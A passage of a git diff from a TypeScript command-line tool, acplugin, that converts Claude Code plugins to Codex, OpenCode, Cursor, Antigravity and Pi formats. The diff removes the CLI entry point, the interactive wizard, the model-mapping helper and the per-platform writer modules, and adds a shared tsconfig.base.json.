skill.dirName); - const dir = basePath.replace(/\/SKILL\.md$/, ''); - return { - path: `${dir}/${aux.relativePath}`, - content: aux.content, - type: 'skill' as const, - }; - }); -} - -export function convertSkillCodexYaml(skill: Skill): ConvertedFile | null { - if (!skill.frontmatter['disable-model-invocation']) return null; - - const yaml = `allow_implicit_invocation: false\n`; - return { - path: `.agents/skills/${skill.dirName}/agents/openai.yaml`, - content: yaml, - type: 'skill', - }; -} diff --git a/src/index.ts b/src/index.ts deleted file mode 100644 index 7631f76..0000000 --- a/src/index.ts +++ /dev/null @@ -1,403 +0,0 @@ -#!/usr/bin/env node - -import { Command } from 'commander'; -import * as path from 'path'; -import * as fs from 'fs'; -import { scanClaudeProject } from './scanner/claude.js'; -import { hasMarketplace, isSinglePlugin, scanAllPlugins, scanPlugin, countResources, scanMarketplaceFull } from './scanner/plugin.js'; -import { generateCodex } from './writer/codex.js'; -import { generateOpenCode } from './writer/opencode.js'; -import { generateCursor } from './writer/cursor.js'; -import { generateAntigravity } from './writer/antigravity.js'; -import { generatePi } from './writer/pi.js'; -import { writeFile } from './utils/fs.js'; -import { parseGitHubSource, downloadGitHubRepo, cleanupTempDir, getTempRoot } from './github.js'; -import { selectPlugins, selectPlatforms, runWizard, log } from './tui.js'; -import type { Platform, ConvertResult, ScanResult, PluginScanResult, MarketplaceScanResult } from './types.js'; -import { convertMarketplaceForCodex, convertMarketplaceForCursor } from './converter/pluginManifest.js'; - -const program = new Command(); - -program - .name('acplugin') - .description('Convert Claude Code plugins to Codex, OpenCode, and Cursor formats') - .version('1.1.0'); - -/** - * Detect if source is a GitHub repo or local path. - */ -function isGitHubSource(source: string): boolean { - if (source.startsWith('github:')) return true; - if (source.startsWith('https://github.com/')) return true; - if (source.startsWith('http://github.com/')) return true; - // owner/repo pattern: contains exactly one slash, no dots or path separators at start - if (/^[a-zA-Z0-9_-]+\/[a-zA-Z0-9._-]+$/.test(source)) { - // Check it's not a local path that exists - if (!fs.existsSync(source)) return true; - } - return false; -} - -/** - * Resolve source to a local directory path. - */ -async function resolveSource(source: string, subPath?: string): Promise<[string, (() => void) | null]> { - if (isGitHubSource(source)) { - const ghSource = parseGitHubSource(source); - if (subPath) ghSource.subPath = subPath; - log.info(`Downloading ${ghSource.owner}/${ghSource.repo}${ghSource.branch ? `#${ghSource.branch}` : ''}...`); - const repoDir = await downloadGitHubRepo(ghSource); - const tempRoot = getTempRoot(repoDir); - log.success('Downloaded and extracted'); - return [repoDir, () => cleanupTempDir(tempRoot)]; - } - - return [path.resolve(source), null]; -} - -/** - * Detect source type and scan. - */ -function detectAndScan(rootDir: string): { type: 'marketplace'; plugins: PluginScanResult[]; marketplaceMeta: MarketplaceScanResult | null } - | { type: 'plugin'; scan: PluginScanResult } - | { type: 'project'; scan: ScanResult } { - - if (hasMarketplace(rootDir)) { - const full = scanMarketplaceFull(rootDir); - return { - type: 'marketplace', - plugins: full?.plugins || scanAllPlugins(rootDir), - marketplaceMeta: full, - }; - } - if (isSinglePlugin(rootDir)) { - return { type: 'plugin', scan: scanPlugin(rootDir) }; - } - return { type: 'project', scan: scanClaudeProject(rootDir) }; -} - -// --- scan command --- -program - .command('scan') - .description('Scan and list convertible resources') - .argument('[source]', 'Local path or GitHub repo (owner/repo)', '.') - .option('-p, --path ', 'Sub-path within the repository') - .action(async (source: string, opts: { path?: string }) => { - const [rootDir, cleanup] = await resolveSource(source, opts.path); - try { - const detected = detectAndScan(rootDir); - - if (detected.type === 'marketplace') { - printMarketplaceScan(detected.plugins); - } else if (detected.type === 'plugin') { - log.header(`Plugin: ${detected.scan.meta.name}`); - printScanResult(detected.scan); - } else { - printScanResult(detected.scan); - } - } finally { - cleanup?.(); - } - }); - -// --- convert command --- -program - .command('convert') - .description('Convert Claude Code plugins to other platforms') - .argument('[source]', 'Local path or GitHub repo (owner/repo)', '.') - .option('-t, --to ', 'Target platforms (codex,opencode,cursor,antigravity,pi)') - .option('-o, --output ', 'Output directory') - .option('-a, --all', 'Convert all plugins without selection') - .option('-p, --path ', 'Sub-path within the repository') - .option('--dry-run', 'Preview without writing files') - .action(async (source: string, opts: { to?: string; output?: string; all?: boolean; path?: string; dryRun?: boolean }) => { - const [rootDir, cleanup] = await resolveSource(source, opts.path); - - try { - const outputDir = opts.output - ? path.resolve(opts.output) - : (isGitHubSource(source) ? path.resolve('.') : rootDir); - - // Resolve platforms - let platforms: Platform[]; - if (opts.to) { - platforms = opts.to.split(',').map(p => p.trim()) as Platform[]; - const valid: Platform[] = ['codex', 'opencode', 'cursor', 'antigravity', 'pi']; - for (const p of platforms) { - if (!valid.includes(p)) { - log.error(`Unknown platform "${p}". Valid: ${valid.join(', ')}`); - process.exit(1); - } - } - } else { - // Interactive platform selection - platforms = await selectPlatforms(); - if (platforms.length === 0) { - log.warn('No platforms selected.'); - return; - } - } - - const dryRun = opts.dryRun || false; - const detected = detectAndScan(rootDir); - - if (detected.type === 'marketplace') { - await convertMarketplace(detected.plugins, platforms, outputDir, dryRun, opts.all || false, detected.marketplaceMeta); - } else if (detected.type === 'plugin') { - log.header(detected.scan.meta.name); - convertSingleScan(detected.scan, platforms, outputDir, dryRun); - } else { - convertSingleScan(detected.scan, platforms, outputDir, dryRun); - } - } finally { - cleanup?.(); - } - }); - -// --- Marketplace conversion --- - -async function convertMarketplace( - plugins: PluginScanResult[], - platforms: Platform[], - outputDir: string, - dryRun: boolean, - all: boolean, - marketplaceMeta?: MarketplaceScanResult | null, -): Promise { - if (plugins.length === 0) { - log.warn('No plugins with convertible resources found.'); - return; - } - - log.success(`Found ${plugins.length} plugin(s)`); - - let selectedIndices: number[]; - if (all) { - selectedIndices = plugins.map((_, i) => i); - } else { - selectedIndices = await selectPlugins(plugins); - if (selectedIndices.length === 0) { - log.warn('No plugins selected.'); - return; - } - } - - // Determine whether to use subdirectories for each plugin - let useSubDirs = selectedIndices.length > 1; - if (!useSubDirs && selectedIndices.length === 1 && process.stdin.isTTY) { - const { confirm } = require('@inquirer/prompts') as { confirm: Function }; - useSubDirs = await confirm({ - message: `Output to subdirectory "${plugins[selectedIndices[0]].meta.name}/"?`, - default: false, - }); - } - - log.info(`Converting ${selectedIndices.length} plugin(s) to ${platforms.join(', ')}...`); - - let totalFiles = 0; - const selectedPlugins = selectedIndices.map(i => plugins[i]); - - for (const plugin of selectedPlugins) { - const pluginOutputDir = useSubDirs - ? path.join(outputDir, plugin.meta.name) - : outputDir; - log.header(plugin.meta.name); - totalFiles += convertSingleScan(plugin, platforms, pluginOutputDir, dryRun); - } - - // Generate marketplace manifest files for each platform - if (marketplaceMeta?.marketplace) { - for (const platform of platforms) { - const marketplaceFiles = generateMarketplaceManifest( - platform, - marketplaceMeta.marketplace, - selectedPlugins, - ); - for (const file of marketplaceFiles.files) { - if (!dryRun) { - writeFile(path.join(outputDir, file.path), file.content); - } - totalFiles++; - } - if (marketplaceFiles.files.length > 0) { - log.stat(`${platform} marketplace`, `${marketplaceFiles.files.length} file(s)`); - } - for (const w of marketplaceFiles.warnings) { - log.warn(w); - } - } - } - - console.log(); - const verb = dryRun ? 'Would generate' : 'Generated'; - log.success(`${verb} ${totalFiles} file(s) for ${selectedIndices.length} plugin(s)`); -} - -// --- Single scan conversion --- - -function convertSingleScan( - scan: ScanResult, - platforms: Platform[], - outputDir: string, - dryRun: boolean, -): number { - const totalResources = scan.skills.length + scan.instructions.length + - (scan.mcp ? scan.mcp.servers.length : 0) + scan.agents.length + - scan.commands.length + (scan.hooks ? Object.keys(scan.hooks).length : 0); - - if (totalResources === 0) { - log.warn('No resources found.'); - return 0; - } - - log.stat('Resources', totalResources); - - let totalFiles = 0; - const results: ConvertResult[] = []; - - for (const platform of platforms) { - const result = generateForPlatform(scan, platform); - results.push(result); - totalFiles += result.files.length; - - if (!dryRun) { - for (const file of result.files) { - writeFile(path.join(outputDir, file.path), file.content); - } - } - } - - printConvertReport(results, dryRun); - return totalFiles; -} - -function generateForPlatform(scan: ScanResult, platform: Platform): ConvertResult { - switch (platform) { - case 'codex': return generateCodex(scan); - case 'opencode': return generateOpenCode(scan); - case 'cursor': return generateCursor(scan); - case 'antigravity': return generateAntigravity(scan); - case 'pi': return generatePi(scan); - } -} - -/** - * Generate marketplace manifest files for a target platform. - */ -function generateMarketplaceManifest( - platform: Platform, - marketplace: import('./types.js').MarketplaceMeta, - plugins: PluginScanResult[], -): { files: import('./types.js').ConvertedFile[]; warnings: string[] } { - const files: import('./types.js').ConvertedFile[] = []; - const warnings: string[] = []; - - switch (platform) { - case 'codex': - files.push(convertMarketplaceForCodex(marketplace, plugins)); - break; - case 'cursor': - files.push(convertMarketplaceForCursor(marketplace, plugins)); - break; - // OpenCode and Antigravity don't support plugin manifest/marketplace. - // Their resource conversion (skills, agents, etc.) is handled normally by the writers. - } - - return { files, warnings }; -} - -// --- Print functions --- - -function printMarketplaceScan(plugins: PluginScanResult[]): void { - log.header('Claude Code Plugin Marketplace'); - log.success(`Found ${plugins.length} plugin(s) with resources`); - console.log(); - - for (let i = 0; i < plugins.length; i++) { - const p = plugins[i]; - const resources = countResources(p); - const category = p.meta.category ? ` [${p.meta.category}]` : ''; - log.plugin(`${i + 1}. ${p.meta.name}${category}`, `${resources} resource(s)`); - if (p.meta.description) { - log.dim(` ${p.meta.description}`); - } - - const parts: string[] = []; - if (p.skills.length) parts.push(`${p.skills.length} skill(s)`); - if (p.agents.length) parts.push(`${p.agents.length} agent(s)`); - if (p.commands.length) parts.push(`${p.commands.length} command(s)`); - if (p.hooks) parts.push(`${Object.keys(p.hooks).length} hook event(s)`); - if (parts.length) log.dim(` ${parts.join(', ')}`); - console.log(); - } -} - -function printScanResult(scan: ScanResult): void { - const sections: [string, number][] = [ - ['Skills', scan.skills.length], - ['Instructions', scan.instructions.length], - ['MCP Servers', scan.mcp?.servers.length || 0], - ['Agents', scan.agents.length], - ['Commands', scan.commands.length], - ['Hook Events', scan.hooks ? Object.keys(scan.hooks).length : 0], - ]; - - for (const [label, count] of sections) { - if (count > 0) log.stat(label, count); - } - - if (scan.skills.length) { - for (const s of scan.skills) log.file(`skill: ${s.frontmatter.name || s.dirName}`); - } - if (scan.agents.length) { - for (const a of scan.agents) log.file(`agent: ${a.frontmatter.name || a.fileName}`); - } - if (scan.commands.length) { - for (const c of scan.commands) log.file(`command: /${c.name}`); - } -} - -function printConvertReport(results: ConvertResult[], dryRun: boolean): void { - for (const result of results) { - const name = result.platform.charAt(0).toUpperCase() + result.platform.slice(1); - - if (dryRun) { - log.dim(` ${name}: ${result.files.length} file(s)`); - for (const f of result.files) log.file(f.path); - } else { - log.stat(name, `${result.files.length} file(s)`); - } - - for (const w of result.warnings) { - log.warn(w); - } - } -} - -// --- Default: interactive wizard when no subcommand --- -async function main() { - // If no subcommand provided (just `acplugin`), run interactive wizard - const args = process.argv.slice(2); - const hasSubcommand = args.length > 0 && ['scan', 'convert', 'help', '--help', '-h', '--version', '-V'].includes(args[0]); - - if (args.length === 0 || !hasSubcommand) { - if (args.length === 0 && process.stdin.isTTY) { - // Pure `acplugin` with no args → wizard - const result = await runWizard(); - const fakeArgs = [result.action, result.source]; - - if (result.action === 'convert') { - if (result.platforms.length) fakeArgs.push('--to', result.platforms.join(',')); - if (result.outputDir) fakeArgs.push('-o', result.outputDir); - if (result.all) fakeArgs.push('--all'); - if (result.dryRun) fakeArgs.push('--dry-run'); - } - - process.argv = ['node', 'acplugin', ...fakeArgs]; - } - } - - program.parse(); -} - -main(); diff --git a/src/tui.ts b/src/tui.ts deleted file mode 100644 index a44e2f6..0000000 --- a/src/tui.ts +++ /dev/null @@ -1,191 +0,0 @@ -import chalk from 'chalk'; -import type { PluginScanResult, Platform } from './types.js'; -import { countResources } from './scanner/plugin.js'; - -const { checkbox, select, input, confirm } = require('@inquirer/prompts') as { - checkbox: Function; select: Function; input: Function; confirm: Function; -}; - -// --- Interactive wizard (acplugin with no args) --- - -export interface WizardResult { - action: 'scan' | 'convert'; - source: string; - platforms: Platform[]; - outputDir?: string; - all: boolean; - dryRun: boolean; -} - -/** - * Full interactive wizard when running `acplugin` with no arguments. - */ -export async function runWizard(): Promise { - console.log(); - console.log(chalk.bold.cyan(' acplugin') + chalk.dim(' — Claude Code Plugin Converter')); - console.log(); - - // Step 1: Action - const action: 'scan' | 'convert' = await select({ - message: 'What do you want to do?', - choices: [ - { name: `${chalk.green('Convert')} — Convert plugins to other platforms`, value: 'convert' }, - { name: `${chalk.blue('Scan')} — Scan and list available resources`, value: 'scan' }, - ], - }); - - // Step 2: Source - const sourceType: 'local' | 'github' = await select({ - message: 'Where are the plugins?', - choices: [ - { name: `${chalk.yellow('Local')} — Current directory or local path`, value: 'local' }, - { name: `${chalk.magenta('GitHub')} — Download from a GitHub repository`, value: 'github' }, - ], - }); - - let source: string; - if (sourceType === 'github') { - source = await input({ - message: 'GitHub repo (owner/repo):', - validate: (v: string) => v.includes('/') || 'Please enter owner/repo format', - }); - } else { - source = await input({ - message: 'Local path:', - default: '.', - }); - } - - // For scan, we're done - if (action === 'scan') { - return { action, source, platforms: [], all: false, dryRun: false }; - } - - // Step 3: Platforms (convert only) - const platforms = await selectPlatforms(); - if (platforms.length === 0) { - log.warn('No platforms selected, defaulting to all.'); - return { action, source, platforms: ['codex', 'opencode', 'cursor', 'antigravity', 'pi'], all: true, dryRun: false }; - } - - // Step 4: Output directory - const customOutput = await confirm({ - message: 'Use custom output directory?', - default: false, - }); - - let outputDir: string | undefined; - if (customOutput) { - outputDir = await input({ - message: 'Output directory:', - default: './output', - }); - } - - // Step 5: Dry run? - const dryRun = await confirm({ - message: 'Dry run (preview only, no files written)?', - default: false, - }); - - return { action, source, platforms, outputDir, all: false, dryRun }; -} - -// --- Plugin selection --- - -/** - * Interactive plugin selection via checkbox. - */ -export async function selectPlugins(plugins: PluginScanResult[]): Promise { - if (!process.stdin.isTTY) { - return plugins.map((_, i) => i); - } - - const choices = plugins.map((p, i) => { - const resources = countResources(p); - const category = p.meta.category ? chalk.dim(` [${p.meta.category}]`) : ''; - const desc = p.meta.description ? chalk.dim(` — ${p.meta.description}`) : ''; - return { - name: `${p.meta.name}${category} ${chalk.cyan(`(${resources} resources)`)}${desc}`, - value: i, - checked: true, - }; - }); - - const selected: number[] = await checkbox({ - message: 'Select plugins to convert', - choices, - pageSize: 15, - instructions: chalk.dim('(↑↓ navigate, space toggle, a=all, enter=confirm)'), - }); - - return selected; -} - -/** - * Interactive platform selection via checkbox. - */ -export async function selectPlatforms(): Promise { - if (!process.stdin.isTTY) { - return ['codex', 'opencode', 'cursor', 'antigravity', 'pi']; - } - - const choices = [ - { name: 'Codex CLI', value: 'codex' as Platform, checked: true }, - { name: 'OpenCode', value: 'opencode' as Platform, checked: true }, - { name: 'Cursor', value: 'cursor' as Platform, checked: true }, - { name: 'Antigravity (Google)', value: 'antigravity' as Platform, checked: true }, - { name: 'Pi (pi-coding-agent)', value: 'pi' as Platform, checked: true }, - ]; - - const selected: Platform[] = await checkbox({ - message: 'Select target platforms', - choices, - }); - - return selected; -} - -/** - * Parse selection string for non-interactive mode. - */ -export function parseSelection(input: string, total: number): number[] { - const trimmed = input.trim().toLowerCase(); - - if (trimmed === 'all' || trimmed === 'a' || trimmed === '*') { - return Array.from({ length: total }, (_, i) => i); - } - - const indices = new Set(); - const parts = trimmed.split(',').map(s => s.trim()).filter(Boolean); - - for (const part of parts) { - const rangeMatch = part.match(/^(\d+)\s*-\s*(\d+)$/); - if (rangeMatch) { - const start = parseInt(rangeMatch[1], 10); - const end = parseInt(rangeMatch[2], 10); - for (let i = start; i <= end; i++) { - if (i >= 1 && i <= total) indices.add(i - 1); - } - } else { - const num = parseInt(part, 10); - if (!isNaN(num) && num >= 1 && num <= total) indices.add(num - 1); - } - } - - return Array.from(indices).sort((a, b) => a - b); -} - -// --- Styled output helpers --- - -export const log = { - success: (msg: string) => console.log(chalk.green('✔') + ' ' + msg), - error: (msg: string) => console.error(chalk.red('✖') + ' ' + msg), - warn: (msg: string) => console.log(chalk.yellow('⚠') + ' ' + chalk.dim(msg)), - info: (msg: string) => console.log(chalk.blue('ℹ') + ' ' + msg), - dim: (msg: string) => console.log(chalk.dim(msg)), - header: (msg: string) => console.log('\n' + chalk.bold.underline(msg)), - plugin: (name: string, detail: string) => console.log(chalk.bold.cyan(name) + ' ' + chalk.dim(detail)), - file: (path: string) => console.log(' ' + chalk.green(path)), - stat: (label: string, value: string | number) => console.log(` ${chalk.dim(label + ':')} ${chalk.white(String(value))}`), -}; diff --git a/src/utils/model.ts b/src/utils/model.ts deleted file mode 100644 index 0851def..0000000 --- a/src/utils/model.ts +++ /dev/null @@ -1,42 +0,0 @@ -import type { Platform } from '../types.js'; - -// Codex default is gpt-5.6-sol; the lighter/faster tier (terra) suits fast -// small-model roles. See learn.chatgpt.com/docs/models. -const CODEX_DEFAULT_MODEL = 'gpt-5.6-sol'; -const CODEX_MODEL_MAP: Record = { - 'sonnet': 'gpt-5.6-sol', - 'opus': 'gpt-5.6-sol', - 'haiku': 'gpt-5.6-terra', - 'claude-sonnet-4-6': 'gpt-5.6-sol', - 'claude-opus-4-6': 'gpt-5.6-sol', - 'claude-haiku-4-5-20251001': 'gpt-5.6-terra', - 'inherit': 'gpt-5.6-sol', -}; - -// gemini-3-pro/gemini-3-flash are not valid API model IDs; gemini-3-pro-preview -// was discontinued 2026-03. See ai.google.dev/gemini-api/docs/models. -const ANTIGRAVITY_DEFAULT_MODEL = 'gemini-3.1-pro-preview'; -const ANTIGRAVITY_MODEL_MAP: Record = { - 'sonnet': 'gemini-3.1-pro-preview', - 'opus': 'gemini-3.1-pro-preview', - 'haiku': 'gemini-3.6-flash', - 'claude-sonnet-4-6': 'gemini-3.1-pro-preview', - 'claude-opus-4-6': 'gemini-3.1-pro-preview', - 'claude-haiku-4-5-20251001': 'gemini-3.6-flash', - 'inherit': 'gemini-3.1-pro-preview', -}; - -export function mapModel(model: string, platform: Platform): string { - switch (platform) { - case 'codex': - return CODEX_MODEL_MAP[model] || CODEX_DEFAULT_MODEL; - case 'antigravity': - return ANTIGRAVITY_MODEL_MAP[model] || ANTIGRAVITY_DEFAULT_MODEL; - case 'opencode': - return model; - case 'cursor': - return model; - case 'pi': - return model; - } -} diff --git a/src/utils/toml.ts b/src/utils/toml.ts deleted file mode 100644 index 74abe31..0000000 --- a/src/utils/toml.ts +++ /dev/null @@ -1,9 +0,0 @@ -import TOML from '@iarna/toml'; - -export function toToml(data: Record): string { - return TOML.stringify(data as any); -} - -export function parseToml(content: string): Record { - return TOML.parse(content) as Record; -} diff --git a/src/writer/antigravity.ts b/src/writer/antigravity.ts deleted file mode 100644 index 092832d..0000000 --- a/src/writer/antigravity.ts +++ /dev/null @@ -1,53 +0,0 @@ -import type { ScanResult, ConvertedFile, ConvertResult } from '../types.js'; -import { convertSkill, convertSkillAuxFiles } from '../converter/skill.js'; -import { mergeInstructions } from '../converter/instructions.js'; -import { convertMCP } from '../converter/mcp.js'; -import { convertAgent } from '../converter/agent.js'; -import { convertCommand } from '../converter/command.js'; -import { convertHooks } from '../converter/hooks.js'; - -export function generateAntigravity(scan: ScanResult): ConvertResult { - const files: ConvertedFile[] = []; - const warnings: string[] = []; - - // Skills → .agents/skills/ - for (const skill of scan.skills) { - files.push(convertSkill(skill, 'antigravity')); - files.push(...convertSkillAuxFiles(skill, 'antigravity')); - } - - // Instructions → GEMINI.md - files.push(...mergeInstructions(scan.instructions, 'antigravity')); - - // MCP → .agents/mcp_config.json - if (scan.mcp) { - files.push(convertMCP(scan.mcp, 'antigravity')); - } - - // Agents → .agents/agents/ - for (const agent of scan.agents) { - files.push(convertAgent(agent, 'antigravity')); - } - - // Commands → Skills - for (const cmd of scan.commands) { - files.push(convertCommand(cmd, 'antigravity')); - } - - // Hooks - if (scan.hooks) { - const hookResult = convertHooks(scan.hooks, 'antigravity'); - warnings.push(...hookResult.warnings); - } - - // Plugin-level resource files (scripts/, etc. referenced by MCP) - for (const pf of scan.pluginFiles) { - files.push({ path: pf.relativePath, content: pf.content, type: 'resource' }); - } - - return { - platform: 'antigravity', - files, - warnings, - }; -} diff --git a/src/writer/codex.ts b/src/writer/codex.ts deleted file mode 100644 index ead3603..0000000 --- a/src/writer/codex.ts +++ /dev/null @@ -1,75 +0,0 @@ -import type { ScanResult, ConvertedFile, ConvertResult, PluginScanResult } from '../types.js'; -import { convertSkill, convertSkillCodexYaml, convertSkillAuxFiles } from '../converter/skill.js'; -import { mergeInstructions } from '../converter/instructions.js'; -import { convertMCP } from '../converter/mcp.js'; -import { convertAgent } from '../converter/agent.js'; -import { convertCommand } from '../converter/command.js'; -import { convertHooks } from '../converter/hooks.js'; -import { convertPluginManifestForCodex } from '../converter/pluginManifest.js'; - -export function generateCodex(scan: ScanResult): ConvertResult { - const files: ConvertedFile[] = []; - const warnings: string[] = []; - - // Skills - for (const skill of scan.skills) { - files.push(convertSkill(skill, 'codex')); - files.push(...convertSkillAuxFiles(skill, 'codex')); - const yaml = convertSkillCodexYaml(skill); - if (yaml) files.push(yaml); - } - - // Instructions — merge all into one AGENTS.md - const instrFiles = mergeInstructions(scan.instructions, 'codex'); - files.push(...instrFiles); - - // MCP - if (scan.mcp) { - files.push(convertMCP(scan.mcp, 'codex')); - } - - // Agents — now generates .codex/agents/*.toml files - for (const agent of scan.agents) { - files.push(convertAgent(agent, 'codex')); - } - - // Commands → Skills - for (const cmd of scan.commands) { - files.push(convertCommand(cmd, 'codex')); - } - - // Hooks - if (scan.hooks) { - const hookResult = convertHooks(scan.hooks, 'codex'); - warnings.push(...hookResult.warnings); - - // Merge hook notes into AGENTS.md - if (hookResult.converted.length > 0) { - const hookContent = '\n\n---\n\n# Hooks (from Claude Code)\n\n' + - hookResult.converted.map(f => f.content).join('\n\n'); - const existingAgentsMd = files.find(f => f.path === 'AGENTS.md'); - if (existingAgentsMd) { - existingAgentsMd.content += hookContent; - } else { - files.push({ path: 'AGENTS.md', content: hookContent.trim(), type: 'hook' }); - } - } - } - - // Plugin-level resource files (scripts/, etc. referenced by MCP) - for (const pf of scan.pluginFiles) { - files.push({ path: pf.relativePath, content: pf.content, type: 'resource' }); - } - - // Generate .codex-plugin/plugin.json manifest - const meta = (scan as PluginScanResult).meta; - if (meta) { - files.push(convertPluginManifestForCodex(scan, meta)); - } - - return { - platform: 'codex', - files: files.filter(f => !f.path.includes('.hook-')), - warnings, - }; -} diff --git a/src/writer/cursor.ts b/src/writer/cursor.ts deleted file mode 100644 index d050800..0000000 --- a/src/writer/cursor.ts +++ /dev/null @@ -1,75 +0,0 @@ -import type { ScanResult, ConvertedFile, ConvertResult, PluginScanResult } from '../types.js'; -import { convertSkill, convertSkillAuxFiles } from '../converter/skill.js'; -import { mergeInstructions } from '../converter/instructions.js'; -import { convertMCP } from '../converter/mcp.js'; -import { convertAgent } from '../converter/agent.js'; -import { convertCommand } from '../converter/command.js'; -import { convertHooks } from '../converter/hooks.js'; -import { convertPluginManifestForCursor } from '../converter/pluginManifest.js'; - -export function generateCursor(scan: ScanResult): ConvertResult { - const files: ConvertedFile[] = []; - const warnings: string[] = []; - - // Skills - for (const skill of scan.skills) { - files.push(convertSkill(skill, 'cursor')); - files.push(...convertSkillAuxFiles(skill, 'cursor')); - } - - // Instructions - files.push(...mergeInstructions(scan.instructions, 'cursor')); - - // MCP - if (scan.mcp) { - files.push(convertMCP(scan.mcp, 'cursor')); - } - - // Agents - for (const agent of scan.agents) { - files.push(convertAgent(agent, 'cursor')); - } - - // Commands - for (const cmd of scan.commands) { - files.push(convertCommand(cmd, 'cursor')); - } - - // Hooks — generate Cursor-format hooks JSON - if (scan.hooks) { - const hookResult = convertHooks(scan.hooks, 'cursor'); - files.push(...hookResult.converted); - warnings.push(...hookResult.warnings); - } - - // Plugin-level resource files (scripts/, etc. referenced by MCP) - for (const pf of scan.pluginFiles) { - files.push({ path: pf.relativePath, content: pf.content, type: 'resource' }); - } - - // Cursor plugin manifest generation - const meta = (scan as PluginScanResult).meta; - files.push(convertPluginManifestForCursor(scan, meta)); - - // Remap paths: .cursor/xxx → plugin format (skills/, agents/, etc.) - for (const file of files) { - file.path = remapToPluginPath(file.path); - } - - return { platform: 'cursor', files, warnings }; -} - -/** - * Remap .cursor/ paths to plugin directory layout. - * .cursor/skills/X/SKILL.md → skills/X/SKILL.md - * .cursor/agents/X.md → agents/X.md - * .cursor/commands/X.md → commands/X.md - * .cursor/rules/X.mdc → rules/X.mdc - * .cursor/mcp.json → mcp.json - */ -function remapToPluginPath(filePath: string): string { - if (filePath.startsWith('.cursor/')) { - return filePath.slice('.cursor/'.length); - } - return filePath; -} diff --git a/src/writer/opencode.ts b/src/writer/opencode.ts deleted file mode 100644 index b996b67..0000000 --- a/src/writer/opencode.ts +++ /dev/null @@ -1,64 +0,0 @@ -import type { ScanResult, ConvertedFile, ConvertResult } from '../types.js'; -import { convertSkill, convertSkillAuxFiles } from '../converter/skill.js'; -import { mergeInstructions } from '../converter/instructions.js'; -import { convertMCP } from '../converter/mcp.js'; -import { convertAgent } from '../converter/agent.js'; -import { convertCommand } from '../converter/command.js'; -import { convertHooks } from '../converter/hooks.js'; - -export function generateOpenCode(scan: ScanResult): ConvertResult { - const files: ConvertedFile[] = []; - const warnings: string[] = []; - - // Skills - for (const skill of scan.skills) { - files.push(convertSkill(skill, 'opencode')); - files.push(...convertSkillAuxFiles(skill, 'opencode')); - } - - // Instructions - files.push(...mergeInstructions(scan.instructions, 'opencode')); - - // MCP - if (scan.mcp) { - files.push(convertMCP(scan.mcp, 'opencode')); - } - - // Agents - for (const agent of scan.agents) { - files.push(convertAgent(agent, 'opencode')); - } - - // Commands - for (const cmd of scan.commands) { - files.push(convertCommand(cmd, 'opencode')); - } - - // Hooks - if (scan.hooks) { - const hookResult = convertHooks(scan.hooks, 'opencode'); - warnings.push(...hookResult.warnings); - - if (hookResult.converted.length > 0) { - const hookContent = '\n\n---\n\n# Hooks (from Claude Code)\n\n' + - hookResult.converted.map(f => f.content).join('\n\n'); - const existingAgentsMd = files.find(f => f.path === 'AGENTS.md'); - if (existingAgentsMd) { - existingAgentsMd.content += hookContent; - } else { - files.push({ path: 'AGENTS.md', content: hookContent.trim(), type: 'hook' }); - } - } - } - - // Plugin-level resource files (scripts/, etc. referenced by MCP) - for (const pf of scan.pluginFiles) { - files.push({ path: pf.relativePath, content: pf.content, type: 'resource' }); - } - - return { - platform: 'opencode', - files: files.filter(f => !f.path.includes('.hook-')), - warnings, - }; -} diff --git a/src/writer/pi.ts b/src/writer/pi.ts deleted file mode 100644 index 71b8ac8..0000000 --- a/src/writer/pi.ts +++ /dev/null @@ -1,63 +0,0 @@ -import type { ScanResult, ConvertedFile, ConvertResult } from '../types.js'; -import { convertSkill, convertSkillAuxFiles } from '../converter/skill.js'; -import { mergeInstructions } from '../converter/instructions.js'; -import { convertCommand } from '../converter/command.js'; - -/** - * Generate output for Pi (pi-coding-agent, earendil-works/pi). - * - * Pi is a minimal terminal harness whose only file-based extension formats are - * Claude-style Agent Skills (SKILL.md) and instruction files (AGENTS.md). It - * has no subagent, hooks, or MCP format by design — those are handled by - * writing TypeScript extensions, which we cannot generate. Commands have no - * native format either, so we degrade them to prompt templates. - */ -export function generatePi(scan: ScanResult): ConvertResult { - const files: ConvertedFile[] = []; - const warnings: string[] = []; - - // Skills → .pi/skills//SKILL.md (Claude-style, near-identical format) - for (const skill of scan.skills) { - files.push(convertSkill(skill, 'pi')); - files.push(...convertSkillAuxFiles(skill, 'pi')); - } - - // Instructions → AGENTS.md - files.push(...mergeInstructions(scan.instructions, 'pi')); - - // Commands → prompt templates (.pi/prompts/.md), exposed as /name - for (const cmd of scan.commands) { - files.push(convertCommand(cmd, 'pi')); - } - - // MCP: Pi does not support MCP (and states it never will). - if (scan.mcp && scan.mcp.servers.length > 0) { - warnings.push( - `Pi does not support MCP — ${scan.mcp.servers.length} server(s) skipped. ` + - `Wrap them as a CLI tool or a Pi TypeScript extension instead.`, - ); - } - - // Agents: Pi intentionally has no subagent format. - if (scan.agents.length > 0) { - warnings.push( - `Pi has no subagent format — ${scan.agents.length} agent(s) skipped. ` + - `Pi expects agents to be composed via bash/tmux or a TypeScript extension.`, - ); - } - - // Hooks: Pi handles lifecycle events only through TypeScript extensions. - if (scan.hooks && Object.keys(scan.hooks).length > 0) { - warnings.push( - `Pi has no file-based hooks format — ${Object.keys(scan.hooks).length} hook event(s) skipped. ` + - `Reimplement them as a Pi TypeScript extension (pi.on(...)).`, - ); - } - - // Plugin-level resource files (scripts/, etc.) are still copied through. - for (const pf of scan.pluginFiles) { - files.push({ path: pf.relativePath, content: pf.content, type: 'resource' }); - } - - return { platform: 'pi', files, warnings }; -} diff --git a/tsconfig.base.json b/tsconfig.base.json new file mode 100644 index 0000000..1b73f11 --- /dev/null +++ b/tsconfig.base.json @@ -0,0 +1,27 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "NodeNext", + "moduleResolution": "NodeNext", + "baseUrl": ".", + "paths": { + "@acplugin/core": ["packages/core/src/index.ts"], + "@acplugin/compiler-claude-code": ["packages/compiler-claude-code/src/index.ts"], + "@acplugin/compiler-codex": ["packages/compiler-codex/src/index.ts"], + "@tokenroll/acplugin": ["packages/acplugin/src/index.ts"], + "@tokenroll/acplugin-module-hooks": ["packages/module-hooks/src/index.ts"], + "@tokenroll/acplugin-module-mcp": ["packages/module-mcp/src/index.ts"] + }, + "lib": ["ES2022"], + "types": ["node"], + "strict": true, + "noUncheckedIndexedAccess": true, + "exactOptionalPropertyTypes": true, + "verbatimModuleSyntax": true, + "isolatedModules": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "noEmit": true + } +} 